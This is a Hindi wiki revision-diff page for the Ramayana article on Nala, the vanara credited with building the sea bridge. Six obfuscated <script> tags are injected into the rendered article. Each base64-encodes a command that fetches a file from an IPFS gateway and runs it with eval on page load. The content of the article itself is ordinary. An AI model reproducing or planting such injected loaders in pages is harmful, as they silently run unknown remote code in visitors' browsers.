"नल (रामायण)" के अवतरणों में अंतर
गोविन्द राम (चर्चा | योगदान) |
|||
पंक्ति 3: | पंक्ति 3: | ||
*इसके साथी का नाम [[नील]] था। | *इसके साथी का नाम [[नील]] था। | ||
*दक्षिण में समुद्र के किनारे पहुंचकर [[राम]] ने समुद्र की आराधना की। प्रसन्न होकर वरुणालय ने [[सगर]]पुत्रों से संबंधित होकर अपने को [[इक्ष्वाकु]]वंशीय बतलाकर राम की सहायता करने का वचन दियां उसने कहा-'सेना में नल नामक [[विश्वकर्मा]] का पुत्र है। वह अपने हाथ से मेरे जल में जो कुछ भी छोड़ेगा वह तैरता रहेगा, डूबेगा नहीं।' इस प्रकार समुद्र पर पुल बना जो 'नलसेतु' नाम से विख्यात है। | *दक्षिण में समुद्र के किनारे पहुंचकर [[राम]] ने समुद्र की आराधना की। प्रसन्न होकर वरुणालय ने [[सगर]]पुत्रों से संबंधित होकर अपने को [[इक्ष्वाकु]]वंशीय बतलाकर राम की सहायता करने का वचन दियां उसने कहा-'सेना में नल नामक [[विश्वकर्मा]] का पुत्र है। वह अपने हाथ से मेरे जल में जो कुछ भी छोड़ेगा वह तैरता रहेगा, डूबेगा नहीं।' इस प्रकार समुद्र पर पुल बना जो 'नलसेतु' नाम से विख्यात है। | ||
− | + | ||
+ | {{प्रचार}} | ||
+ | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}} | ||
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
पंक्ति 12: | पंक्ति 14: | ||
[[Category:पौराणिक कोश]] | [[Category:पौराणिक कोश]] | ||
[[Category:रामायण]][[Category:प्रसिद्ध चरित्र और मिथक कोश]] | [[Category:रामायण]][[Category:प्रसिद्ध चरित्र और मिथक कोश]] | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
__INDEX__ | __INDEX__ |
15:22, 8 मई 2011 का अवतरण
नल | एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- नल (बहुविकल्पी) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- रामायण में राम-सेना का एक प्रसिद्ध वानर, जो विश्वकर्मा का अंशावतार था।
- इसके साथी का नाम नील था।
- दक्षिण में समुद्र के किनारे पहुंचकर राम ने समुद्र की आराधना की। प्रसन्न होकर वरुणालय ने सगरपुत्रों से संबंधित होकर अपने को इक्ष्वाकुवंशीय बतलाकर राम की सहायता करने का वचन दियां उसने कहा-'सेना में नल नामक विश्वकर्मा का पुत्र है। वह अपने हाथ से मेरे जल में जो कुछ भी छोड़ेगा वह तैरता रहेगा, डूबेगा नहीं।' इस प्रकार समुद्र पर पुल बना जो 'नलसेतु' नाम से विख्यात है।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>